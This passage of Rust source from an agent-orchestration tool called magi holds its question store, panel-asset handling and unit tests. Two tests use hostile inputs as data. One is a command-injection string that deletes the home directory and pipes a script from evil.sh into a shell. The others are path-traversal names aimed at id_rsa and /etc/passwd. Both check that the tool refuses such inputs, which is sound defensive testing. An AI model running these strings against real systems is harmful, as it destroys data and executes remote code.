1756                rest = &tail[1..];
1757            }
1758        }
1759    }
1760    out.push_str(rest);
1761    out
1762}
1763
1764/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1765fn web_url() -> String {
1766    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1767}
1768
1769/// Point a configured base URL at the view that can answer the question.
1770///
1771/// A notification the operator has to navigate from is a question that stays
1772/// unanswered until morning, so the questions view is appended - unless the
1773/// operator already wrote a fragment, in which case they have said where they
1774/// want to land and magi does not know better.
1775fn question_url(base: &str) -> String {
1776    let base = base.trim().trim_end_matches('/');
1777    if base.is_empty() || base.contains('#') {
1778        return base.to_owned();
1779    }
1780    format!("{base}/#/questions")
1781}
1782
1783/// Assemble a panel's contents in an already-empty directory.
1784///
1785/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1786/// first error without an early `return` skipping that cleanup.
1787fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1788    let index = dir.join(PANEL_HTML);
1789    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1790    for (name, src) in assets {
1791        let dst = dir.join(name);
1792        std::fs::copy(src, &dst)
1793            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1794    }
1795    Ok(())
1796}
1797
1798/// Remove a directory and everything under it, treating "not there" as done.
1799///
1800/// A panel is replaced wholesale and dropped idempotently, and in both cases
1801/// the absence of the directory is the desired end state, not an error.
1802fn clear_dir(path: &Path) -> Result<()> {
1803    match std::fs::remove_dir_all(path) {
1804        Ok(()) => Ok(()),
1805        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1806        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1807    }
1808}
1809
1810fn read_path(path: &Path) -> Result<Question> {
1811    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1812    let q: Question =
1813        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1814    if q.schema > SCHEMA {
1815        // Strictly newer, not merely different: every field added since
1816        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1817        // here as "no thread yet" rather than as garbage. Only a schema this
1818        // build has never heard of is refused.
1819        bail!(
1820            "question {} was written by a newer magi (schema {}, this build \
1821             only speaks up to {SCHEMA})",
1822            q.id,
1823            q.schema
1824        );
1825    }
1826    Ok(q)
1827}
1828
1829/// [`short`] for callers outside this module (a run id shortens the same way).
1830pub fn short_id(id: &str) -> &str {
1831    short(id)
1832}
1833
1834fn short(id: &str) -> &str {
1835    id.split('-').next_back().unwrap_or(id)
1836}
1837
1838fn new_id() -> String {
1839    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1840    let seed = crate::rng::entropy();
1841    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1842}
1843
1844#[cfg(test)]
1845mod tests {
1846    use super::*;
1847
1848    /// A store of its own, with no process-global state - which is the point of
1849    /// `Questions::at`, and why these can run in parallel.
1850    fn store() -> (tempfile::TempDir, Questions) {
1851        let dir = tempfile::tempdir().unwrap();
1852        let s = Questions::at(dir.path().join("questions"));
1853        (dir, s)
1854    }
1855
1856    #[test]
1857    fn deleting_a_run_stops_its_questions_asking() {
1858        let (_dir, store) = store();
1859
1860        let mut open_one = choice_question();
1861        store.put(&mut open_one).unwrap();
1862        let mut answered = free_question();
1863        answered
1864            .answer(Answer::Text("keep this".to_owned()))
1865            .unwrap();
1866        store.put(&mut answered).unwrap();
1867        let mut elsewhere = choice_question();
1868        elsewhere.run = "20260903-105039-3cbf".to_owned();
1869        store.put(&mut elsewhere).unwrap();
1870
1871        let n = store
1872            .abandon_for_run(&open_one.run, "run was deleted")
1873            .unwrap();
1874        assert_eq!(n, 1, "only the open question of that run");
1875
1876        let back = store.get(&open_one.id).unwrap();
1877        assert!(!back.status.open(), "it no longer asks for a decision");
1878        assert!(
1879            back.detail.contains("run was deleted"),
1880            "the operator can see why: {}",
1881            back.detail
1882        );
1883
1884        let kept = store.get(&answered.id).unwrap();
1885        assert_eq!(
1886            kept.status,
1887            QuestionStatus::Answered,
1888            "an answered question is a decision on record, not something to revoke"
1889        );
1890        assert!(
1891            store.get(&elsewhere.id).unwrap().status.open(),
1892            "another run's question is untouched"
1893        );
1894        assert!(store.open_for(&open_one.run).is_empty());
1895    }
1896
1897    #[test]
1898    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1899        let (_dir, store) = store();
1900        let mut q = choice_question();
1901        store.put(&mut q).unwrap();
1902
1903        // `Blocked` can still be resumed - leave it exactly as it was.
1904        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1905        assert_eq!(n, 0);
1906        assert!(store.get(&q.id).unwrap().status.open());
1907
1908        // `Failed` is not - abandon it, with the run and its fate in the
1909        // reason so the owner can tell what happened without a run to read.
1910        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1911        assert_eq!(n, 1);
1912        let back = store.get(&q.id).unwrap();
1913        assert!(!back.status.open());
1914        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1915
1916        // A second call against the same, now-settled run finds nothing left.
1917        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1918    }
1919
1920    fn choice_question() -> Question {
1921        Question::new(
1922            "20260902-201256-9fb7".to_owned(),
1923            "implement".to_owned(),
1924            "impl-A".to_owned(),
1925            "Which storage backend should the cache use?".to_owned(),
1926            "Both are already dependencies.".to_owned(),
1927            vec!["SQLite".to_owned(), "Redis".to_owned()],
1928        )
1929    }
1930
1931    fn free_question() -> Question {
1932        Question::new(
1933            "20260902-201256-9fb7".to_owned(),
1934            "review".to_owned(),
1935            "rev-1".to_owned(),
1936            "What should the error message say?".to_owned(),
1937            String::new(),
1938            Vec::new(),
1939        )
1940    }
1941
1942    /// No notification, which is the default and what most of these want.
1943    fn quiet() -> config::Notify {
1944        config::Notify::default()
1945    }
1946
1947    #[test]
1948    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1949        // The front end parses these names by hand; there is no shared schema
1950        // and no compiler between the two. A rename here is a UI that shows an
1951        // empty card and reports no error, so the names are asserted literally.
1952        let mut q = choice_question();
1953        q.id = "20260902-231501-ab12".to_owned();
1954        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1955        // `serde_json::Value` holds an object's keys sorted, and key order
1956        // means nothing to a JSON reader anyway: the field *set* is what the
1957        // front end was written against, so that is what is pinned here.
1958        let keys: Vec<&str> = open
1959            .as_object()
1960            .unwrap()
1961            .keys()
1962            .map(String::as_str)
1963            .collect();
1964        assert_eq!(
1965            keys,
1966            [
1967                "actions",
1968                "answer",
1969                "answer_delivered",
1970                "answer_timeout",
1971                "answered_at",
1972                "asked_at",
1973                "assets",
1974                "choices",
1975                "cwd",
1976                "delivered_turns",
1977                "deputy",
1978                "detail",
1979                "id",
1980                "node",
1981                "panel",
1982                "run",
1983                "schema",
1984                "seat",
1985                "status",
1986                "summary",
1987                "thread",
1988                "waiter",
1989            ],
1990            "the on-disk field set is a contract with the front end"
1991        );
1992        assert_eq!(open["schema"], 5);
1993        assert_eq!(open["thread"], serde_json::json!([]));
1994        assert_eq!(open["id"], "20260902-231501-ab12");
1995        assert_eq!(open["run"], "20260902-201256-9fb7");
1996        assert_eq!(open["node"], "implement");
1997        assert_eq!(open["seat"], "impl-A");
1998        assert_eq!(open["status"], "open");
1999        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2000        assert_eq!(open["answered_at"], serde_json::Value::Null);
2001        assert_eq!(open["answer"], serde_json::Value::Null);
2002        let asked = open["asked_at"].as_str().unwrap();
2003        assert!(
2004            asked.ends_with('Z') && asked.contains('T'),
2005            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2006        );
2007
2008        // A chosen option, exactly as the contract spells it.
2009        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2010        let answered = serde_json::to_value(&q).unwrap();
2011        assert_eq!(answered["status"], "answered");
2012        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2013        assert!(answered["answered_at"].is_string());
2014
2015        // And free text, which is the other of the two forms.
2016        let mut free = free_question();
2017        free.answer(Answer::Text("Say which file it was".to_owned()))
2018            .unwrap();
2019        assert_eq!(
2020            serde_json::to_value(&free).unwrap()["answer"],
2021            serde_json::json!({"text": "Say which file it was"})
2022        );
2023
2024        // And it survives the round trip a reader actually performs.
2025        let body = serde_json::to_string(&q).unwrap();
2026        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2027    }
2028
2029    #[test]
2030    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2031        // Four different mistakes, four different fixes: the web handler shows
2032        // these strings to the person who made them.
2033        let mut unoffered = choice_question();
2034        let a = unoffered
2035            .answer(Answer::Choice("Postgres".to_owned()))
2036            .unwrap_err()
2037            .to_string();
2038
2039        let mut typed = choice_question();
2040        let b = typed
2041            .answer(Answer::Text("use Postgres".to_owned()))
2042            .unwrap_err()
2043            .to_string();
2044
2045        let mut blank = free_question();
2046        let c = blank
2047            .answer(Answer::Text("   \n".to_owned()))
2048            .unwrap_err()
2049            .to_string();
2050
2051        let mut twice = choice_question();
2052        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2053        let d = twice
2054            .answer(Answer::Choice("Redis".to_owned()))
2055            .unwrap_err()
2056            .to_string();
2057
2058        assert!(a.contains("not one of the choices"), "{a}");
2059        assert!(b.contains("multiple choice"), "{b}");
2060        assert!(c.contains("empty"), "{c}");
2061        assert!(d.contains("already answered"), "{d}");
2062        let mut distinct = vec![a, b, c, d];
2063        let asked = distinct.len();
2064        distinct.sort_unstable();
2065        distinct.dedup();
2066        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2067
2068        // The refused ones are still open, so the owner can answer properly.
2069        assert_eq!(unoffered.status, QuestionStatus::Open);
2070        assert_eq!(typed.status, QuestionStatus::Open);
2071        assert_eq!(blank.status, QuestionStatus::Open);
2072        // And the first answer to the double-answered one survived.
2073        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2074
2075        // Free text refuses a fabricated choice for the mirror-image reason.
2076        let mut free = free_question();
2077        let e = free
2078            .answer(Answer::Choice("SQLite".to_owned()))
2079            .unwrap_err()
2080            .to_string();
2081        assert!(e.contains("free text"), "{e}");
2082    }
2083
2084    #[test]
2085    fn open_questions_are_listed_before_answered_ones() {
2086        let (_dir, s) = store();
2087        // Ids carry a timestamp, so force a known order: the answered one is
2088        // the newest, and must still sort below the open ones.
2089        let mut old_open = choice_question();
2090        old_open.id = "20260101-000001-aaaa".to_owned();
2091        let mut new_open = choice_question();
2092        new_open.id = "20260101-000002-bbbb".to_owned();
2093        let mut answered = choice_question();
2094        answered.id = "20260101-000003-cccc".to_owned();
2095        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2096        for q in [&mut old_open, &mut new_open, &mut answered] {
2097            s.put(q).unwrap();
2098        }
2099
2100        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2101        assert_eq!(
2102            ids,
2103            [
2104                "20260101-000002-bbbb",
2105                "20260101-000001-aaaa",
2106                "20260101-000003-cccc"
2107            ],
2108            "what has stopped work comes first; history sorts underneath"
2109        );
2110        assert_eq!(s.count_open(), 2);
2111        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2112        assert!(s.open_for("some-other-run").is_empty());
2113        // The short id is what the phone and the reports show.
2114        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2115        assert!(s.get("20260101-000002-bbbb").is_ok());
2116        assert!(s.resolve_id("nope").is_err());
2117        assert!(
2118            s.revision() > 0,
2119            "the store's mtime drives the phone's polling"
2120        );
2121    }
2122
2123    #[test]
2124    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2125        let (_dir, s) = store();
2126        let mut good = choice_question();
2127        s.put(&mut good).unwrap();
2128        // Truncated by a killed writer, and written by a magi from the future.
2129        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2130        let future = serde_json::json!({
2131            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2132            "seat": "s", "summary": "?", "detail": "", "choices": [],
2133            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2134            "answered_at": null, "answer": null,
2135        });
2136        std::fs::write(
2137            s.path_of("20260101-000010-beef"),
2138            serde_json::to_string(&future).unwrap(),
2139        )
2140        .unwrap();
2141
2142        let listed = s.list();
2143        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2144        assert_eq!(listed[0].id, good.id);
2145        // Asked for by name, the unreadable one explains itself instead.
2146        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2147        assert!(e.contains("schema"), "{e}");
2148    }
2149
2150    #[tokio::test]
2151    async fn the_wait_returns_the_answer_another_process_wrote() {
2152        // The phone, `magi answer` and this run are three processes with no
2153        // channel between them: the file is the channel, so the wait has to see
2154        // a write it did not make. Sub-second timings keep this a real wait
2155        // without a real one's duration.
2156        let (dir, s) = store();
2157        let mut q = choice_question();
2158        let id = q.id.clone();
2159        let writer = Questions::at(dir.path().join("questions"));
2160        let handle = tokio::spawn(async move {
2161            tokio::time::sleep(Duration::from_millis(30)).await;
2162            let mut fresh = writer.get(&id).expect("the question was filed first");
2163            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2164            writer.put(&mut fresh).unwrap();
2165        });
2166
2167        let got = wait_for_owner(
2168            &mut q,
2169            &s,
2170            &quiet(),
2171            Duration::from_secs(5),
2172            Duration::from_millis(10),
2173        )
2174        .await
2175        .unwrap();
2176
2177        handle.await.unwrap();
2178        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2179        assert_eq!(
2180            q.status,
2181            QuestionStatus::Answered,
2182            "the caller's copy is refreshed from the answering process's record"
2183        );
2184        assert!(q.answered_at.is_some());
2185    }
2186
2187    #[tokio::test]
2188    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2189        let (_dir, s) = store();
2190        let mut q = choice_question();
2191
2192        let got = wait_for_owner(
2193            &mut q,
2194            &s,
2195            &quiet(),
2196            Duration::from_millis(60),
2197            Duration::from_millis(10),
2198        )
2199        .await
2200        .unwrap();
2201
2202        assert_eq!(
2203            got,
2204            Wait::Abandoned,
2205            "a slow human is not an error; the run parks"
2206        );
2207        assert_eq!(q.status, QuestionStatus::Abandoned);
2208        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2209        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2210        assert!(
2211            on_disk.detail.contains("Abandoned:"),
2212            "why nobody answered belongs with the question: {}",
2213            on_disk.detail
2214        );
2215        assert!(on_disk.resolution().is_none());
2216        assert_eq!(s.count_open(), 0);
2217    }
2218
2219    #[tokio::test]
2220    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2221        // This is the whole point of slicing: `timeout` (the real
2222        // `answer_timeout` budget) is far larger than `slice`, so the loop
2223        // must land on `slice` first and hand back `Pending` - not read the
2224        // silence so far as the owner having given up.
2225        let (_dir, s) = store();
2226        let mut q = choice_question();
2227        s.put(&mut q).unwrap();
2228
2229        let got = wait_loop(
2230            &mut q,
2231            &s,
2232            Duration::from_secs(3600),
2233            Duration::from_millis(30),
2234            Duration::from_millis(10),
2235        )
2236        .await
2237        .unwrap();
2238
2239        assert_eq!(
2240            got,
2241            Wait::Pending,
2242            "the clock on this call ran out, not the owner's patience"
2243        );
2244        assert_eq!(
2245            q.status,
2246            QuestionStatus::Open,
2247            "a slice expiring must never abandon the question"
2248        );
2249        let on_disk = s.get(&q.id).expect("still on disk, still open");
2250        assert_eq!(
2251            on_disk.status,
2252            QuestionStatus::Open,
2253            "nothing about the record changed just because this call gave up"
2254        );
2255    }
2256
2257    #[tokio::test]
2258    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2259        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2260        // and returns `Pending`, a second slice - a fresh call, exactly as a
2261        // fresh process would make - picks the same question back up and
2262        // sees an answer written in between.
2263        let (dir, s) = store();
2264        let mut q = choice_question();
2265        s.put(&mut q).unwrap();
2266
2267        let first = wait_loop(
2268            &mut q,
2269            &s,
2270            Duration::from_secs(3600),
2271            Duration::from_millis(30),
2272            Duration::from_millis(10),
2273        )
2274        .await
2275        .unwrap();
2276        assert_eq!(first, Wait::Pending);
2277
2278        let id = q.id.clone();
2279        let writer = Questions::at(dir.path().join("questions"));
2280        let mut fresh = writer.get(&id).unwrap();
2281        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2282        writer.put(&mut fresh).unwrap();
2283
2284        // `resume_wait` uses its own production poll interval rather than a
2285        // test-injected one, so the budget here only needs to be large enough
2286        // to cover one real poll tick - the point is that it is `resume_wait`
2287        // itself, not a helper, that finds the answer.
2288        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2289            .await
2290            .unwrap();
2291        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2292        assert_eq!(q.status, QuestionStatus::Answered);
2293    }
2294
2295    #[tokio::test]
2296    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2297        // The owner can speak back while nothing is running at all - between
2298        // one call reporting `Wait::Pending` and the next `--wait` picking
2299        // the question back up - and whoever resumes the wait loads a
2300        // *fresh* copy of the question off disk, one whose thread already
2301        // contains that reply. A baseline taken from that fresh copy would
2302        // treat the reply as pre-existing and never notice it "arrive",
2303        // leaving the agent polling in silence until `answer_timeout`
2304        // eventually abandons the question - replacing the exact accident
2305        // this feature exists to fix with a quieter version of itself.
2306        let (dir, s) = store();
2307        let mut q = choice_question();
2308        s.put(&mut q).unwrap();
2309
2310        let first = wait_loop(
2311            &mut q,
2312            &s,
2313            Duration::from_secs(3600),
2314            Duration::from_millis(30),
2315            Duration::from_millis(10),
2316        )
2317        .await
2318        .unwrap();
2319        assert_eq!(first, Wait::Pending);
2320
2321        // The owner speaks back during the gap, with nobody running yet.
2322        let id = q.id.clone();
2323        let writer = Questions::at(dir.path().join("questions"));
2324        let mut fresh = writer.get(&id).unwrap();
2325        fresh.say("why not Postgres?").unwrap();
2326        writer.put(&mut fresh).unwrap();
2327
2328        // `magi ask --wait` re-reads the question rather than reusing the
2329        // stale in-memory copy the earlier call held - so the copy handed to
2330        // `resume_wait` here already carries the reply, same as `fresh` above.
2331        let mut resumed = s.get(&id).unwrap();
2332        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2333            .await
2334            .unwrap();
2335        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2336        assert_eq!(
2337            resumed.status,
2338            QuestionStatus::Open,
2339            "talking back is not a decision; the question stays open"
2340        );
2341    }
2342
2343    #[tokio::test]
2344    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2345        // A broken webhook must not throw away an implementation, so the wait
2346        // reports the failure and carries on. `notify` itself still says what
2347        // went wrong, because `magi notify --test` has to be able to show it.
2348        let (dir, s) = store();
2349        let broken = config::Notify {
2350            command: vec![
2351                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2352                "{summary}".to_owned(),
2353            ],
2354        };
2355        let mut q = choice_question();
2356        assert!(
2357            notify(&broken, &q).await.is_err(),
2358            "the caller is told; it decides that it does not matter"
2359        );
2360
2361        let id = q.id.clone();
2362        let writer = Questions::at(dir.path().join("questions"));
2363        let handle = tokio::spawn(async move {
2364            tokio::time::sleep(Duration::from_millis(30)).await;
2365            let mut fresh = writer.get(&id).unwrap();
2366            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2367            writer.put(&mut fresh).unwrap();
2368        });
2369        let got = wait_for_owner(
2370            &mut q,
2371            &s,
2372            &broken,
2373            Duration::from_secs(5),
2374            Duration::from_millis(10),
2375        )
2376        .await
2377        .unwrap();
2378        handle.await.unwrap();
2379        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2380
2381        // No command at all is the default, and is silence rather than failure.
2382        assert!(notify(&quiet(), &q).await.is_ok());
2383        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2384    }
2385
2386    #[test]
2387    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2388        let mut q = choice_question();
2389        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2390        let template = [
2391            "ntfy".to_owned(),
2392            "publish".to_owned(),
2393            "--click".to_owned(),
2394            "{url}".to_owned(),
2395            "--title".to_owned(),
2396            "magi {run} needs you".to_owned(),
2397            "{summary}".to_owned(),
2398        ];
2399        let argv: Vec<String> = template
2400            .iter()
2401            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2402            .collect();
2403
2404        assert_eq!(
2405            argv,
2406            [
2407                "ntfy",
2408                "publish",
2409                "--click",
2410                "http://100.64.0.1:7777/#/questions",
2411                "--title",
2412                "magi 20260902-201256-9fb7 needs you",
2413                "; rm -rf ~ && curl evil.sh | sh #",
2414            ],
2415            "the shell metacharacters are one argument's contents, not syntax"
2416        );
2417
2418        // A summary that itself mentions a placeholder is text, not a template:
2419        // one left-to-right pass means a substituted value is never rescanned.
2420        q.summary = "should {url} be configurable?".to_owned();
2421        assert_eq!(
2422            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2423            "should {url} be configurable?"
2424        );
2425        // An unknown brace is the operator's own text and survives untouched.
2426        assert_eq!(
2427            expand("{title}: {run}", &q.run, &q.summary, ""),
2428            "{title}: 20260902-201256-9fb7"
2429        );
2430        assert_eq!(
2431            expand("no placeholders", &q.run, &q.summary, "http://x"),
2432            "no placeholders"
2433        );
2434    }
2435
2436    #[test]
2437    fn the_notification_link_lands_on_the_view_that_can_answer() {
2438        assert_eq!(
2439            question_url("http://100.64.0.1:7777"),
2440            "http://100.64.0.1:7777/#/questions"
2441        );
2442        assert_eq!(
2443            question_url("http://100.64.0.1:7777/"),
2444            "http://100.64.0.1:7777/#/questions"
2445        );
2446        // An operator who wrote a fragment has said where they want to land.
2447        assert_eq!(
2448            question_url("http://magi.ts.net/#/runs"),
2449            "http://magi.ts.net/#/runs"
2450        );
2451        // Unset expands to nothing rather than to a guessed address.
2452        assert_eq!(question_url("  "), "");
2453    }
2454
2455    /// A question with a fixed id, so a panel's path on disk is predictable.
2456    fn panelled() -> Question {
2457        let mut q = choice_question();
2458        q.id = "20260903-014455-ab12".to_owned();
2459        q
2460    }
2461
2462    #[test]
2463    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2464        let (dir, s) = store();
2465        let work = dir.path().join("worktree");
2466        std::fs::create_dir_all(&work).unwrap();
2467        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2468        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2469
2470        let mut q = panelled();
2471        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2472        s.put_panel(
2473            &mut q,
2474            html,
2475            &[work.join("table.png"), work.join("diff.svg")],
2476        )
2477        .unwrap();
2478        s.put(&mut q).unwrap();
2479
2480        assert!(q.panel);
2481        assert_eq!(
2482            q.assets,
2483            ["diff.svg", "table.png"],
2484            "sorted, not in the order the agent happened to pass them"
2485        );
2486        assert_eq!(
2487            s.panel_html(&q.id).as_deref(),
2488            Some(html),
2489            "the html is stored byte for byte; the agent authored the markup"
2490        );
2491        assert_eq!(
2492            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2493            Some(&b"<svg/>"[..])
2494        );
2495
2496        // The record on disk carries the same two fields the front end reads.
2497        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2498        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2499        assert_eq!(json["panel"], true);
2500        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2501        let back = s.get(&q.id).unwrap();
2502        assert!(back.panel);
2503        assert_eq!(back.assets, q.assets);
2504
2505        // The assets were copied, so the panel still renders after `magi fold`
2506        // has deleted the candidate worktree the agent authored it in.
2507        std::fs::remove_dir_all(&work).unwrap();
2508        assert_eq!(
2509            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2510            Some(&b"\x89PNG"[..]),
2511            "a referenced asset would be gone with the worktree"
2512        );
2513    }
2514
2515    #[test]
2516    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2517        let (dir, s) = store();
2518        let mut q = panelled();
2519        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2520        s.put(&mut q).unwrap();
2521
2522        // A file exactly one level up from the panel directory - which is
2523        // where `..` lands - holding content a read would make visible.
2524        let secret = "this must never reach the browser";
2525        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2526        assert_eq!(
2527            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2528            secret,
2529            "the traversal is real: the operating system resolves this path \
2530             happily, which is why the name has to be refused before the join"
2531        );
2532
2533        let long = "x".repeat(200);
2534        for name in [
2535            "..",
2536            "../id_rsa",
2537            "..\\id_rsa",
2538            "sub/../id_rsa",
2539            "/",
2540            "\\",
2541            "/etc/passwd",
2542            "C:\\Windows\\win.ini",
2543            "",
2544            ".hidden",
2545            ".",
2546            long.as_str(),
2547        ] {
2548            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2549            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2550            assert!(
2551                e.contains("not a panel file name"),
2552                "`{name}` must be refused as a name, not attempted: {e}"
2553            );
2554            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2555        }
2556        // A name that is allowed still finds its file, so the refusals above
2557        // were the rule at work and not a store that reads nothing.
2558        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2559
2560        // The same rule on the write side, where the name comes from a source
2561        // file's base name, and a refusal leaves the stored panel untouched.
2562        let hidden = dir.path().join(".hidden");
2563        std::fs::write(&hidden, "x").unwrap();
2564        let e = s
2565            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2566            .unwrap_err()
2567            .to_string();
2568        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2569        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2570        assert!(q.assets.is_empty());
2571    }
2572
2573    #[test]
2574    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2575        let (dir, s) = store();
2576        let mut q = panelled();
2577        s.put(&mut q).unwrap();
2578
2579        // Sized rather than filled: the cap reads the file's length, and a
2580        // test that actually produced eight mebibytes would only be slower.
2581        let big = dir.path().join("recording.png");
2582        std::fs::File::create(&big)
2583            .unwrap()
2584            .set_len(PANEL_MAX_BYTES)
2585            .unwrap();
2586
2587        let html = "<p>see the recording</p>";
2588        let total = PANEL_MAX_BYTES + html.len() as u64;
2589        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2590        assert!(
2591            e.contains(&PANEL_MAX_BYTES.to_string()),
2592            "the cap is named so the agent knows the limit: {e}"
2593        );
2594        assert!(
2595            e.contains(&total.to_string()),
2596            "the actual size is named so the agent knows by how much: {e}"
2597        );
2598
2599        assert!(!q.panel);
2600        assert!(q.assets.is_empty());
2601        let left: Vec<String> = std::fs::read_dir(s.root())
2602            .unwrap()
2603            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2604            .collect();
2605        assert_eq!(
2606            left,
2607            [format!("{}.json", q.id)],
2608            "a refused panel leaves neither a directory nor scratch: {left:?}"
2609        );
2610    }
2611
2612    #[test]
2613    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2614        let (dir, s) = store();
2615        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2616        std::fs::create_dir_all(&before).unwrap();
2617        std::fs::create_dir_all(&after).unwrap();
2618        std::fs::write(before.join("diff.png"), "before").unwrap();
2619        std::fs::write(after.join("diff.png"), "after").unwrap();
2620
2621        let mut q = panelled();
2622        let e = s
2623            .put_panel(
2624                &mut q,
2625                "<p>x</p>",
2626                &[before.join("diff.png"), after.join("diff.png")],
2627            )
2628            .unwrap_err()
2629            .to_string();
2630        assert!(e.contains("diff.png"), "{e}");
2631        assert!(
2632            e.contains("before") && e.contains("after"),
2633            "both sources are named, because the fix is to rename one: {e}"
2634        );
2635        assert!(!q.panel);
2636        assert!(!s.panel_dir(&q.id).exists());
2637    }
2638
2639    #[test]
2640    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2641        let (dir, s) = store();
2642        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2643        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2644
2645        let mut q = panelled();
2646        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2647            .unwrap();
2648        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2649            .unwrap();
2650
2651        assert_eq!(q.assets, ["new.png"]);
2652        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2653        assert!(
2654            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2655            "an asset from the first attempt would show a mix of two answers"
2656        );
2657
2658        s.drop_panel(&q.id).unwrap();
2659        assert!(s.panel_html(&q.id).is_none());
2660        assert!(!s.panel_dir(&q.id).exists());
2661        s.drop_panel(&q.id)
2662            .expect("dropping a panel that is already gone is the desired state");
2663    }
2664
2665    #[test]
2666    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2667        let (_dir, s) = store();
2668        let mut q = panelled();
2669        s.put(&mut q).unwrap();
2670
2671        assert!(!q.panel);
2672        assert!(s.panel_html(&q.id).is_none());
2673        assert!(
2674            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2675            "a missing file is a 404 for the caller, not a failure of the store"
2676        );
